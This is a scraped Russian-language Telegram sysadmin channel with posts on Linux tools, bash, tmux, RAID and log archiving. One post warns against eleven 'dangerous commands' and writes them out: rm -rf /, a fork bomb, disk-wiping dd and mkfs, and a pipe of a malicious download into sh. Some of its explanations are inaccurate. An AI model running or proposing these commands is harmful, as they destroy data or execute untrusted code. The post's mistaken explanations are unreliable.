Системный администратор
الذهاب إلى القناة على Telegram
Канал для системных администраторов. Linux, Windows, Active Directory, GPO, PowerShell. Виртуализация Hyper-V, VMWare. Облака Azure, AWS. По всем вопросам @evgenycarter
إظهار المزيد2 098
المشتركون
لا توجد بيانات24 ساعات
-207 أيام
-14930 أيام
أرشيف المشاركات
11 опасных команд Linux, которые вы никогда не должны запускать
rm -rf / - Эта команда удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные.
:(){ :|: & };: - Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы.
mkfs.ext4 /dev/sda - Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны.
dd if=/dev/random of=/dev/sda - Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных.
chmod 777 / - Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности.
mv /home/* /dev/null - Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны.
wget http://example.com/file -O /dev/null - Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных.
mkfs.ext4 /dev/sda1 - Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.
ln -s /dev/null /etc/passwd - Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.
echo "Hello" > /dev/sda - Перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».
wget http://malicious_source -O- | sh - Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
👉 @i_linuxCMatrix
Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью.
Установка
$ sudo apt-get install cmatrix # Linux
Включите асинхронную прокрутку:
cmatrix -a
Отображение красного текста:
cmatrix -C {{red}}
Включить режим радуги:
cmatrix -r
Установите задержку обновления экрана на 2 сантисекунды:
cmatrix -u {{2}}
Исходный код доступен на GitHub.
👉 @i_linuxЛюбой сбой инфраструктуры = простои, потери и размытая репутация.
Но классические платформы виртуализации сегодня либо сложные, либо дорогие, либо не отвечают новым требованиям к отказоустойчивости и управляемости. Есть ли альтернатива?
Расскажем и покажем на деле:Вебинар «Точка устойчивости ИТ: почему HCI не только про “проще”, но и про “надёжнее”»
Что вы узнаете:
🔸Почему гиперконвергентная инфраструктура действительно может выигрывать у классических решений
🔸Как снизить затраты времени, ресурсов и усилий на поддержку
🔸Живое демо: веб-интерфейс vStack — управление инфраструктурой без лишней сложности
🔸Анонс новых возможностей — для тех, кто хочет быть на шаг впереди
🔸Открытый Q&A: разберём ваши кейсы, ответим на вопросы
Когда: 10.06 в 11.00
ЗАРЕГИСТРИРОВАТЬСЯ
+9
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных компьютерных деталей.
👉 @i_linux
Кремниевые Титаны. Часть 2
#11: Sinclair Research
#12: 3Dfx [Часть 1]
#13: 3Dfx [Часть 2]
#14: Почему не получилось с 3DO
#15: Коротко про AMD
#16: Creative Sound Blaster
#17: Легенда ASUS
#18: Microsoft
#19: Foxconn
#20: Matrox
Часть 1 https://t.me/i_linux/563
источник
👉 @i_linux
Relax-and-Recover
Решение для аварийного восстановления и миграции систем на новое железо под управлением Linux (ср. mksysb,
ignite)
Relax-and-Recover создает загрузочный образ. Этот образ может переразметить систему. После этого запускается восстановление из резервной копии. Возможно восстановление на другое оборудование. Поэтому Relax-and-Recover можно использовать и как инструмент миграции.
В настоящее время Relax-and-Recover поддерживает различные загрузочные носители (включая ISO, PXE, ленту OBDR, USB или eSATA), разнообразные сетевые протоколы (включая sftp, ftp, http, nfs, cifs), а также множество стратегий резервного копирования (включая IBM TSM, CommVault, Micro Focus Data Protector, Symantec NetBackup, Bareos, Bacula, rsync, Borg).
Решение Relax-and-Recover было разработано для простой настройки, не требует обслуживания и готово прийти на помощь в случае бедствия. Его характер "установил и забыл" устраняет любые оправдания для отсутствия решения по аварийному восстановлению.
http://relax-and-recover.org/
https://github.com/rear/rear
👉 @i_linux
Bash
Переменные в строке bash
echo os-$(uname) # os-Linux
Команды
break - выход из цикла for, while или until
continue - выполнение следующей итерации цикла for, while или until
echo - вывод аргументов, разделенных пробелами, на стандартное устройство вывода
exit - выход из оболочки
export - отмечает аргументы как переменные для передачи в дочерние процессы в среде
hash - запоминает полные имена путей команд, указанных в качестве аргументов, чтобы не искать их при следующем обращении
kill - посылает сигнал завершения процессу
pwd - выводит текущий рабочий каталог
read - читает строку из ввода оболочки и использует ее для присвоения значений указанным переменным.
return - заставляет функцию оболочки выйти с указанным значением
shift - перемещает позиционные параметры налево
test - вычисляет условное выражение
times - выводит имя пользователя и системное время, использованное оболочкой и ее потомками
trap - указывает команды, которые должны выполняться при получении оболочкой сигнала
unset - вызывает уничтожение переменных оболочки
wait - ждет выхода из дочернего процесса и сообщает выходное состояние.
Зарезервированные переменные
$DIRSTACK - содержимое вершины стека каталогов
$EDITOR - текстовый редактор по умолчанию
$EUID - Эффективный UID. Если вы использовали программу su для выполнения команд от другого пользователя, то эта переменная содержит UID этого пользователя, в то время как...
$UID - ...содержит реальный идентификатор, который устанавливается только при логине.
$FUNCNAME - имя текущей функции в скрипте.
$GROUPS - массив групп к которым принадлежит текущий пользователь
$HOME - домашний каталог пользователя
$HOSTNAME - ваш hostname
$HOSTTYPE - архитектура машины.
$LC_CTYPE - внутренняя переменная, котороя определяет кодировку символов
$OLDPWD - прежний рабочий каталог
$OSTYPE - тип ОС
$PATH - путь поиска программ
$PPID - идентификатор родительского процесса
$SECONDS - время работы скрипта(в сек.)
$# - общее количество параметров переданных скрипту
$* - все аргументы переданыне скрипту(выводятся в строку)
$@ - тоже самое, что и предыдущий, но параметры выводятся в столбик
$! - PID последнего запущенного в фоне процесса
$$ - PID самого скрипта
Переменные и параметры скрипта
Приведу как пример небольшой пример, который мы разберем:
#!/bin/bash
# указываем где у нас хранится bash-интерпретатор
parametr1=$1 # присваиваем переменной parametr1 значение первого параметра скрипта
script_name=$0 #п рисваиваем переменной script_name значение имени скрипта
echo "Вы запустили скрипт с именем $script_name и параметром $parametr1" # команда echo выводит определенную строку, обращение к переменным осуществляется через $имя_переменной.
echo 'Вы запустили скрипт с именем $script_name и параметром $parametr1' # здесь мы видим другие кавычки, разница в том, что в одинарных кавычках не происходит подстановки переменных.
exit 0 #Выход с кодом 0 (удачное завершение работы скрипта)
Результат выполнения скрипта:
ite@ite-desktop:~$ ./test.sh qwerty
Вы запустили скрипт с именем ./test.sh и параметром qwerty
Вы запустили скрипт с именем $script_name и параметром $parametr1
👉 @i_linux
Команда findmnt
Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или поиска файловой системы в /etc/fstab, /etc/mtab или /proc/self/ mountinfo.
Для отображения списка подключенных файловых систем, выполните в командной строке следующую команду.
По умолчанию команда findmnt отображает файловые системы в древовидном формате.
# findmnt
Чтобы отобразить информацию в виде обычного списка, используйте параметр -l, как показано ниже
# findmnt -l
Можно выбрать отображение файловых систем только определенного типа, используя параметр командной строки -t, за которым следует тип файловой системы, такой как XFS или EXT4.
# findmnt --fstab -t xfs или # findmnt --fstab -t ext4
Поиск файловой системы, используя точку монтирования.
Например, следующая команда отображает все файловые системы /etc/fstab, где каталогом точки монтирования является /mnt/external/disk2.
# findmnt --fstab /mnt/external/disk2 #this prints bind mounts where /mnt/external/disk2 is a source
или # findmnt --fstab --target /mnt/external/disk2
Выводим все файловые системы /etc/fstab и преобразовываем теги LABEL = и UUID = в реальные имена устройств, добавьте ключ – –evaluate
# findmnt --fstab --evaluate
Отобразить только точку монтирования, в которой смонтирована файловая система с меткой «/ boot» или «/», используйте следующую команду.
# findmnt -n --raw --evaluate --output=target LABEL=/boot или # findmnt -n --raw --evaluate --output=target LABEL=/
Findmnt также позволяет отслеживать действия по монтированию, размонтированию, перемонтированию и перемещению каталога, например, в /mnt/test.
# findmnt --poll --mountpoint /mnt/test
Если вы хотите больше информации в выводе, используйте ключ –verbose.
# findmnt --real --verbose
👉 @i_linuxПодборка часто используемых инструментов удаленного подключения
1. Xshell
Xshell - это очень мощное программное обеспечение для эмуляции защищенного терминала, которое поддерживает SSH1, SSH2 и протокол TELNET платформы Windows. Xshell можно использовать в интерфейсе Windows для доступа к удаленным серверам на различных системах, тем самым лучше достигая цели терминала удаленного управления.
https://www.xshell.com/en/xshell/
2. SecureCRT
SecureCRT - это мощное программное обеспечение для эмуляции защищенного терминала, которое может помочь пользователям более безопасно подключаться к удаленным серверам, а также может быть использовано для реализации функций удаленного управления сервером и передачи файлов. SecureCRT поддерживает протоколы SSH1, SSH2, Telnet, Rlogin, Serial и SSL/TLS, которые могут быть использованы для подключения к различным удаленным терминалам, что позволяет удовлетворить различные потребности пользователей.
https://www.vandyke.com
3. WinSCP
WinSCP - это графический клиент SFTP с открытым исходным кодом, который использует SSH в среде Windows. Он также поддерживает протокол SCP. Его основная функция - безопасное копирование и передача файлов между локальным и удаленным компьютерами.
https://winscp.net/
4. PuTTY
Putty - это легкий клиент SSH и Telnet, который может помочь пользователям подключиться к удаленным серверам, а также поддерживает протокол шифрования аутентификации SSH-2, что может сделать доступ пользователей к сети более безопасным. Putty также поддерживает протокол SSH на платформе Windows, что позволяет пользователям лучше контролировать удаленные серверы.
https://putty.org/
5. MobaXterm
MobaXterm предоставляет комплексные возможности, почти все важные удаленные сетевые инструменты (такие как SSH, X11, RDP, VNC, FTP, MOSH и т.д.), а также команды Unix на рабочем столе Windows (bash, ls, cat, sed, grep, awk, rsync и т.д.), и автоматически открывает режим sftp после входа в систему.
https://mobaxterm.mobatek.net/
6. Tabby
Tabby - это современный инструмент терминального подключения, с открытым исходным кодом и кроссплатформенный, поддерживающий системы Windows, MacOS и Linux. Tabby имеет более 20k+ Star на Github, что говорит о том, что это очень популярный терминальный инструмент!
https://tabby.sh/
👉 @i_linux
Установка Ubuntu 20.04 в RAID 1. Настройка и восстановление RAID массива
Настройка Software RAID при установке Ubuntu Server 20.04.
Комманды в видео:
cat /proc/mdstat | Просмотр состояния RAID
fdisk -l | Простомотр дисков и разделов
mdadm --add /dev/md1 /dev/sda2 | Добавление разделов (partition) в RAID
sfdisk -d /dev/sda | sfdisk /dev/sdb | Клонирование разделов с диска sda на sdb
grub-install /dev/sdb | Установка загрузчика на новый диск sdb
👉 @i_linux✨ Автоматическая архивация логов старше 7 дней ✨
Когда у вас на сервере копятся старые логи, они занимают всё больше места. Этот простой Bash-скрипт поможет автоматически архивировать и удалять файлы старше 7 дней:
#!/usr/bin/env bash
# 📁 Директория с логами
LOG_DIR="/var/log/myapp"
# 📆 Архивируем файлы старше этого количества дней
DAYS=7
# 📦 Папка для хранения архивов
DEST_DIR="/backup/logs"
# Создаём папку для бэкапов, если её нет
mkdir -p "$DEST_DIR"
# Формируем имя архива по дате, например logs-2025-05-26.tar.gz
ARCHIVE="$DEST_DIR/logs-$(date +%F).tar.gz"
# 🚀 Архивируем все файлы старше $DAYS дней
find "$LOG_DIR" -type f -mtime +"$DAYS" -print0 \
| tar --null -czvf "$ARCHIVE" --files-from -
# 🧹 Удаляем оригинальные файлы, которые попали в архив
find "$LOG_DIR" -type f -mtime +"$DAYS" -delete
echo "✅ Логи старше $DAYS дней заархивированы в $ARCHIVE и удалены из $LOG_DIR"
Как использовать
1. Сохраните скрипт, например, как /usr/local/bin/backup_logs.sh и сделайте его исполняемым:
chmod +x /usr/local/bin/backup_logs.sh
2. Настройте cron-задачу, чтобы запускать его ежедневно в полночь. Введите crontab -e и добавьте строку:
0 0 * * * /usr/local/bin/backup_logs.sh >> /var/log/backup_logs_cron.log 2>&1
🔧 Пояснения
* find … -mtime +7 находит файлы старше 7 дней.
* tar --null --files-from - позволяет корректно обрабатывать имена с пробелами.
* Архивы сохраняются в /backup/logs — измените путь под свои нужды.
👉 @i_linuxRAID массивы. Уровни 0 1 5 6 10. Что такое RAID и как он работает
00:00 Вступление
00:46 RAID 0
02:42 RAID 1
04:40 RAID 5
07:59 RAID 6
09:25 RAID 10
11:32 Сравнение уровней RAID
👉 @i_linux
Пять GitHub проектов, которые помогут вам стать лучшим инженером DevOps
1. How they SRE
Подборка общедоступных ресурсов о том, как технологические и технически подкованные организации по всему миру практикуют Site Reliability Engineering (SRE).
https://github.com/upgundecha/howtheysre
2. Awesome Scalability
Паттерны масштабируемых, надежных и производительных крупномасштабных систем
https://github.com/binhnguyennus/awesome-scalability
3. DevOps Exercises
Linux, Jenkins, AWS, SRE, Prometheus, Docker, Python, Ansible, Git, Kubernetes, Terraform, OpenStack, SQL, NoSQL, Azure, GCP, DNS, Elastic, Network, Virtualization. Вопросы для интервью по DevOps
https://github.com/bregman-arie/devops-exercises
4. Test your sysadmin skills
Сборник тестовых вопросов и ответов по Linux Sysadmin. Проверьте свои знания и навыки в различных областях с помощью этих вопросов и ответов.
https://github.com/trimstray/test-your-sysadmin-skills
5. Awesome Site Reliability Engineering
Составленный список ресурсов по надежности сайта и производственному инжинирингу.
https://github.com/dastergon/awesome-sre
👉 @i_linux
LPIC-101
1.10 Поиск файлов locate и find
1.9 Команда top для управления процессами
1.8 Менеджеры пакетов yum и apt
1.7 Программа Cron (крон)
1.6 Log файл и команды для работы с ими
1.5 Права доступа в файловой системе
1.4 Команды для работы с файлами и файловой системой
1 3 Команда sudo в Linux и создание нового пользователя
1.2 Редакторы vi и nano
1.1 Виртуальная машина и создание пользователя Рут права
источник
👉 @i_linux
Bash Shell Scripting Tutorial for Beginners
Our First Script Using Bash on Linux | Ep#1 (Ubuntu)
Relational Operators and If Statements | Ep#2 (Linux)
String Operators & Comparison | Ep#3 (Linux)
Read User Input into Bash Script | Ep#4 (Linux)
Command Line Arguments | Ep#5 (Linux Terminal)
For Loops, Continue, and Break on Linux | Ep#6 (Ubuntu)
Empty Trash Bin Periodically | Ep#7 (Linux Terminal)
источник
👉 @i_linux
Краткая шпаргалка по использованию tmux
Ctr+B, ? Показать все доступные хоткеи
Ctr+B, C Создать окно
Ctr+B, N Следующее окно
Ctr+B, P Предыдущее окно
Ctr+B, [0-9] Перейти к окну с данным номером
Ctr+B, X Закрыть окно
Ctr+B, % Горизонтальное разделение
Ctr+B, " Вертикальное разделение
Ctr+B, стрелочки Переход между разделениями
Ctr+B, запятая Переименовать окно
Ctr+B, W Список всех окон с переключением
Ctr+B, Fn+вверх Скролинг, можно использовать точпад
Ctr+B, $ Переименовать текущую сессию
Ctr+B, D Detach, отсоединиться от сессии
Список доступных сессий можно посмотреть командой:
tmux ls
Подключение к сессии:
tmux attach -t 0
Сессиям можно давать осмысленные имена и запускать в них фоновые задачи:
# создать фоновую сессию
tmux new-session -d -s background-task 'watch date'
# подсоединиться к сессии
tmux attach -t background-task
# прибить сессию
tmux kill-session -t background-task
Это иногда бывает удобно в каких-нибудь скриптах. Характерно, что в screen подобный функционал тоже заявлен, но последний раз, когда я проверял, он был сломан.
Интересно также, что в отличие от screen, в tmux нет возможности работать с последовательными портами. Но если вы решите полностью переходить на tmux, то для этой задачи можете воспользоваться утилитой cu:
cu -l /dev/tty.usbserial -s 115200
👉 @i_linux🔍 Как найти и удалить пустые директории в Linux
Иногда после установки, удаления или переноса файлов остаются пустые директории, которые засоряют систему. Вот простой способ их найти и удалить одной командой!
find /path/to/search -type d -empty -delete
📌 Пояснение:
* -type d — ищем только директории
* -empty — фильтруем пустые
* -delete — удаляем найденное
🔐 Лучше сначала проверить, что будет удалено:
find /path/to/search -type d -empty
💡 Подсказка: если хочешь обработать всю систему, используй /, но будь осторожен — удали что-то нужное, и можно сломать систему. Лучше исключить важные каталоги, например:
find / -type d -empty -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -delete
🧹 Отличный способ навести порядок в /tmp, /var/log, /home и других местах!
👉 @i_linuxZenith - что-то вроде top или htop, но с диаграммами с возможностью масштабирования, использованием CPU, GPU, сети и диска.
Особенности
Дополнительные графики использования ЦП, памяти, сети и дисков
Быстрый просмотр свободного места на диске, IP-адресов сетевых карт, частоты процессора
Выделение основных пользователей ЦП, памяти и диска
Процент заряда батареи, время зарядки или разрядки, потребляемая мощность
Таблица процессов с возможностью фильтрации по типу верхней части, включающая использование диска каждым процессом
Изменение приоритета процесса
Представления диаграмм с возможностью масштабирования (с поддержкой прокрутки назад во времени)
Управление процессами с помощью сигналов
Сохранение данных о производительности между запусками
Метрики использования GPU для графических процессоров NVIDIA (с --features nvidia), включая использование GPU для каждого процесса
Графики свободного места на диске
Учет задержек (в Linux при запуске zenith с правами root)
Установка на дистрибутивы Linux на базе Debian/Ubuntu (64-бит)
sudo apt install curl
curl -sL https://raw.githubusercontent.com/wimpysworld/deb-get/main/deb-get | sudo -E bash -s install deb-get
https://github.com/bvaisvil/zenith
👉 @i_linux
متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
